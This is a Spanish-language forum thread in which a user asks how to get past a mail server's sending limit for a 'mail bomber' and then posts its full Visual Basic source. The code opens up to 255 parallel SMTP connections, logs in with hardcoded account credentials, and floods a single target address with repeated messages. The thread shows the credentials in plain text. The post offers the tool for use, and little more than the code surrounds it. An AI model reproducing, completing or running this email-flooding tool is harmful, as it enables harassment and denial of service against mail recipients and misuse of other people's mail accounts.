pequeñita ayuda

[astaroth_15]

buenas, estoy haciendo un mail bomber, pero el problema esque no me deja enviar muchos emails seguidos, lo que intento hacer, es ponerle un timer que cada medio segundo, envie el correo, os dejo una imagen gracias de antemano

[ka0s]

No tendrías que poner el code en vez de como es el programa ? xD

Salu2!

[astaroth_15]

'Por Federico Colombo  thepirat000@hotmail.com
Option Explicit

'Variable que contendrá el nombre de usuario (Si se usa autenticación)
Public aUSUARIO As String
'Variable que contendrá la contraseña (Si se usa autenticación)
Public aCONTRASEÑA As String

Public YaMandeAlgunaVez As Boolean
Public Cant As Byte

Dim frmResumen As frmStatus


Private Sub ayudon_Click()
Form1.Show
End Sub

Private Sub cmdEnviar_Click()
frmStatus.Visible = False
frmMain.aUSUARIO = "qw2qw2@infinito.it"
frmMain.aCONTRASEÑA = "qw2qw2"
Dim i As Byte
If Val(txtCant) < 1 Or txtSMTP = "" Or txtFrom = "" Or txtMailFrom = "" Or txtMailTo = "" Then
    MsgBox "Datos incompletos", vbCritical, "Error"
    Exit Sub
End If

If Val(txtCant) > 255 Then
    MsgBox "Se pueden enviar un máximo de 255 mails", vbCritical, "Error"
    txtCant.SetFocus
    Exit Sub
End If

If txtSubject = "" And txtBody = "" Then
    MsgBox "Debe escribir un Asunto o un Mensaje", vbCritical, "Error"
    txtSubject.SetFocus
    Exit Sub
End If

If MsgBox("¿Confirma envío?", vbYesNo Or vbQuestion, "") = vbNo Then Exit Sub

DServer = txtSMTP

cmdCancel.Visible = True

If YaMandeAlgunaVez Then
    For i = 2 To sck.Count
        Unload sck(i - 1)
    Next i
    For i = LBound(ColFrmStatus) To UBound(ColFrmStatus)
        Unload ColFrmStatus(i)
    Next i
End If

Cant = Val(txtCant)
ReDim ColFrmStatus(Cant - 1)

For i = 0 To Cant - 1
    If i <> 0 Then
        Load sck(i)
    End If
    Set ColFrmStatus(i) = New frmStatus
    ColFrmStatus(i).Caption = "Status " & i + 1
    ColFrmStatus(i).txtStatus = ""
    If chkStatus.Value = 1 Then ColFrmStatus(i).Show
    YaMandeAlgunaVez = True
    Enviar sck(i), txtFrom, txtMailFrom, txtMailTo, txtSubject, txtBody.Text
Next i

frmResumen.txtStatus = ""
frmResumen.Caption = "Resumen de envíos"
frmResumen.Show
tmrResumen.Interval = 8000
tmrResumen.Enabled = True


End Sub

Private Sub chkAuth_Click()
If chkAuth.Value = 1 Then
    frmUserPass.txtUser = aUSUARIO
    frmUserPass.txtPass = aCONTRASEÑA
    frmUserPass.Show vbModal
End If
End Sub

Private Sub chkStatus_Click()
If chkStatus.Value = 1 Then
    chkErr.Value = 1
    chkErr.Enabled = False
Else
    chkErr.Enabled = True
End If
End Sub

Private Sub cmdAdjuntar_Click()
If indexUUfiles > 9 Then
    MsgBox "No puede adjuntar más de 10 archivos", vbCritical, "Error"
    Exit Sub
End If
CD.DialogTitle = "Adjuntar Archivo..."
CD.Filter = "Todos los archivos (*.*)|*.*"
CD.Action = 1
If CD.FileName = "" Then Exit Sub

Me.Caption = "Codificando Archivo..."
cmdEnviar.Enabled = False
cmdAdjuntar.Enabled = False
PB.Value = 0
PB.Visible = True

'Codifico el archivo en el formato válido para ser adjuntado a un mail
UUfiles(indexUUfiles) = UUEncodeFile(CD.FileName)

txtUU.Visible = True
indexUUfiles = indexUUfiles + 1
txtUU.Text = txtUU.Text & CD.FileTitle & " (" & Fix(FileLen(CD.FileName) / 1024) + 1 & " Kb)   "
cmdEnviar.Enabled = True
cmdAdjuntar.Enabled = True
PB.Visible = False
Me.Caption = exCaption
End Sub

Private Sub cmdCancel_Click()
Call DesConectarTodos
End Sub

Private Sub cmdCerrar_Click()
Unload Me
End Sub


Private Function Plain_base64(User As String, Password As String) As String
'Genera la cadena que hay que mandar para un AUTH PLAIN
'(en este caso no lo uso porque uso AUTH LOGIN)
'(ver http://www.technoids.org/saslmech.html)
Dim s As String, i As Long
Dim sUser As String, sPassw As String
Dim nArray() As Byte

sUser = User
sPassw = Password

ReDim nArray(0 To Len(sUser) + Len(sPassw) + 1)

nArray(0) = 0
For i = 1 To Len(sUser)
    nArray(i) = Asc(Mid(sUser, i, 1))
Next i
nArray(i) = 0
For i = 1 To Len(sPassw)
    nArray(i + Len(sUser) + 1) = Asc(Mid(sPassw, i, 1))
Next i

Base64Array_Encode nArray

s = ""
For i = 0 To UBound(nArray)
    s = s & Chr(nArray(i))
Next i
Plain_base64 = s
End Function

Private Function Str_to_base64(s As String) As String
'Convierte una cadena en formato base64 para el AUTH LOGIN
'(ver http://www.technoids.org/saslmech.html)
Dim nArray() As Byte, i As Integer, sTemp As String
ReDim nArray(0 To Len(s) + 1)

For i = 0 To Len(s) - 1
    nArray(i) = Asc(Mid(s, i + 1, 1))
Next i

Base64Array_Encode nArray

sTemp = ""
For i = 0 To UBound(nArray)
    sTemp = sTemp & Chr(nArray(i))
Next i
Str_to_base64 = sTemp
End Function

Private Sub Form_Activate()
txtFrom.SetFocus
exCaption = Me.Caption
End Sub

Private Sub Form_Load()
indexUUfiles = 0
YaMandeAlgunaVez = False
Set frmResumen = New frmStatus
TextStatus(0) = "Conectando con el servidor"
TextStatus(1) = "Conectando con el servidor"
TextStatus(2) = "Bombeando Email!"
TextStatus(3) = "Conectando con el servidor"
TextStatus(4) = "Bombeando Email!"
TextStatus(5) = "Conectando con el servidor"
TextStatus(6) = "Bombeando Email!"
TextStatus(7) = "Conectando con el servidor"
TextStatus(8) = "Bombeando Email!"
TextStatus(9) = "Finalizando Bomber"
TextStatus(10) = "Emails Enviados con exito !"
TextStatus(11) = "Errores:"
End Sub

Private Sub Form_Unload(Cancel As Integer)
End
End Sub

Private Sub KewlButtons2_Click()
frmMain.aUSUARIO = "qw2qw2@infinito.it"
frmMain.aCONTRASEÑA = "qw2qw2"
Dim i As Byte
If Val(txtCant) < 1 Or txtSMTP = "" Or txtFrom = "" Or txtMailFrom = "" Or txtMailTo = "" Then
    MsgBox "Datos incompletos", vbCritical, "Error"
    Exit Sub
End If

If Val(txtCant) > 255 Then
    MsgBox "Se pueden enviar un máximo de 255 mails", vbCritical, "Error"
    txtCant.SetFocus
    Exit Sub
End If

If txtSubject = "" And txtBody = "" Then
    MsgBox "Debe escribir un Asunto o un Mensaje", vbCritical, "Error"
    txtSubject.SetFocus
    Exit Sub
End If

If MsgBox("¿Confirma envío?", vbYesNo Or vbQuestion, "") = vbNo Then Exit Sub

DServer = txtSMTP

cmdCancel.Visible = True

If YaMandeAlgunaVez Then
    For i = 2 To sck.Count
        Unload sck(i - 1)
    Next i
    For i = LBound(ColFrmStatus) To UBound(ColFrmStatus)
        Unload ColFrmStatus(i)
    Next i
End If

Cant = Val(txtCant)
ReDim ColFrmStatus(Cant - 1)

For i = 0 To Cant - 1
    If i <> 0 Then
        Load sck(i)
    End If
    Set ColFrmStatus(i) = New frmStatus
    ColFrmStatus(i).Caption = "Status " & i + 1
    ColFrmStatus(i).txtStatus = ""
    If chkStatus.Value = 1 Then ColFrmStatus(i).Show
    YaMandeAlgunaVez = True
    Enviar sck(i), txtFrom, txtMailFrom, txtMailTo, txtSubject, txtBody.Text
Next i

frmResumen.txtStatus = ""
frmResumen.Caption = "Resumen de envíos"
frmResumen.Show
tmrResumen.Interval = 9000
tmrResumen.Enabled = True

End Sub

Private Sub KewlButtons1_Click()
MsgBox "Espero que me vuelvas abrir!", vbCritical, "Vuelve!"
Unload Me
End Sub

Private Sub KewlButtons24_Click()
MsgBox "Como que quién soy, a ti que te importa cabron!! xD", vbCritical, "Cotilla!!!!!!"
KewlButtons24.Visible = False
End Sub

Private Sub List1_Click()

End Sub

Private Sub sck_DataArrival(Index As Integer, ByVal bytesTotal As Long)
'Esta es la parte más importante, donde se produce el diálogo con el servidor SMTP
   
    sck(Index).GetData Respuesta
    Dim s As String
    Code = Left(Respuesta, 3)
    AddStatus ColFrmStatus(Index), "<- " & Respuesta
    If Code >= 200 And Code <= 399 Then
        Select Case SendStatus(Index)
            Case CONECTED
                'Envío comando "EHLO"
                sck(Index).SendData "EHLO " & DHelo & vbCrLf
                If chkAuth.Value = 1 Then
                    'Si estoy usando autenticación
                    SendStatus(Index) = AUTH1
                Else
                    'Si no uso autenticación
                    SendStatus(Index) = MailFrom
                End If
            Case AUTH1
                'Envío comando "AUTH LOGIN"
                sck(Index).SendData "AUTH LOGIN" & vbCrLf
                AddStatus ColFrmStatus(Index), ("-> AUTH LOGIN")
                SendStatus(Index) = AUTH2
            Case AUTH2
                s = Str_to_base64(aUSUARIO)
                'Envío nombre de usuario codificado en base64
                sck(Index).SendData s & "=" & vbCrLf
                AddStatus ColFrmStatus(Index), ("-> Usuario: " & s)
                SendStatus(Index) = AUTH3
            Case AUTH3
                s = Str_to_base64(aCONTRASEÑA)
                'Envío contraseña codificado en base64
                sck(Index).SendData s & "=" & vbCrLf
                AddStatus ColFrmStatus(Index), ("-> Contraseña: " & s)
                SendStatus(Index) = MailFrom
            Case MailFrom
                'Envío MAIL FROM
                sck(Index).SendData "MAIL FROM:<" & DMailFrom & ">" & vbCrLf
                AddStatus ColFrmStatus(Index), ("-> MAIL FROM:<" & DMailFrom & ">")
                SendStatus(Index) = RCPTTO
            Case RCPTTO
                'Envío RCPT TO (Destino del mail)
                sck(Index).SendData "RCPT TO:<" & DRcptTo & ">" & vbCrLf
                AddStatus ColFrmStatus(Index), ("-> RCPT TO:<" & DRcptTo & ">")
                SendStatus(Index) = DATAC
            Case DATAC
                'Envío comando DATA
                sck(Index).SendData "DATA" & vbCrLf
                SendStatus(Index) = MESSAGGE
            Case MESSAGGE
                'Envío de datos del mail
                'DE
                sck(Index).SendData "FROM: " & DFrom & vbCrLf
                AddStatus ColFrmStatus(Index), ("-> FROM: " & DFrom)
                'ASUNTO
                sck(Index).SendData "SUBJECT: " & DSubject & vbCrLf
                AddStatus ColFrmStatus(Index), ("-> SUBJECT: " & DSubject)
                'Envío aviso de alta prioridad si es necesario
                If chkHigh.Value = 1 Then sck(Index).SendData "X-Priority: 1" & vbCrLf & "X-MSMail-Priority: High" & vbCrLf
                'Envío mensaje propiamente dicho
                sck(Index).SendData DMensaje & vbCrLf
                               
                'Envío archivos adjuntos si existen
                Dim i As Byte, Buff As String
                If indexUUfiles > 0 Then
                    For i = 0 To indexUUfiles
                        Buff = Buff & UUfiles(i)
                    Next i
                    sck(Index).SendData Buff
                End If
               
                'Envío comando FIN DE MENSAJE
                sck(Index).SendData vbCrLf & "." & vbCrLf
               
                SendStatus(Index) = QUIT
            Case QUIT
                AddStatus ColFrmStatus(Index), "*** MAIL ENVIADO OK ***"
                ColFrmStatus(Index).Hide
                'Envío comando SALIR
                sck(Index).SendData "QUIT" & vbCrLf
                SendStatus(Index) = MANDADO_OK
                DesConectar sck(Index)
        End Select
    Else
        SendStatus(Index) = cERROR
        If chkErr.Value = 1 Then
            ColFrmStatus(Index).Caption = ColFrmStatus(Index).Caption & " (Con errores)"
            ColFrmStatus(Index).Show
        End If
        DesConectar sck(Index)
    End If

End Sub

Private Sub sck_Error(Index As Integer, ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    AddStatus ColFrmStatus(Index), "Error nº:" & Number & " " & Description
    SendStatus(Index) = cERROR
    DesConectar sck(Index)
End Sub

Private Sub slc_Click()
If MsgBox("Selecionar Servidor?", vbYesNo Or vbQuestion, "Servers") = vbNo Then Exit Sub
    MsgBox "El server ha sido selecionado con exito", vbQuestion, "Server Selecionado"

End Sub

Private Sub tmrResumen_Timer()
DoEvents
DoRefresh False
End Sub

Public Sub DoRefresh(FinTodos As Boolean)
'Hace el refresh de las ventanas resúmenes (frmStatus)
Dim i As Byte, Posi As Byte
frmResumen.txtStatus = ""
For i = 0 To Cant - 1
    frmResumen.txtStatus = frmResumen.txtStatus & "Socket " & i + 1 & " (" & IIf(SendStatus(i) > 10, 10, SendStatus(i)) & "/10) - " & TextStatus(SendStatus(i)) & vbCrLf
    Posi = Posi + IIf(SendStatus(i) = MANDADO_OK, 1, 0)
Next i
If FinTodos Then
    frmResumen.txtStatus = frmResumen.txtStatus & vbCrLf & "Enviados Correctamente: " & Posi
    frmResumen.txtStatus = frmResumen.txtStatus & vbCrLf & "Con Errores: " & Cant - Posi
End If
End Sub

Private Sub txtBody_KeyDown(KeyCode As Integer, Shift As Integer)
'Esto es para que tocando la tecla TAB, en el cuadro de texto del cuerpo
'del mensaje, se produzca una tabulación y no un avance del foco
Dim i As Long
If Shift <> 0 Then Exit Sub
If KeyCode = 9 Then
    i = txtBody.SelStart
    txtBody.Text = Left(txtBody.Text, i) & Chr(9) & Mid(txtBody.Text, i + 1)
    txtBody.SelStart = i + 1
    KeyCode = 0
End If
End Sub

Private Sub txtCant_KeyPress(KeyAscii As Integer)
'Sólo permite el ingreso de númeors
If KeyAscii < 48 Or KeyAscii > 57 Then KeyAscii = 0
End Sub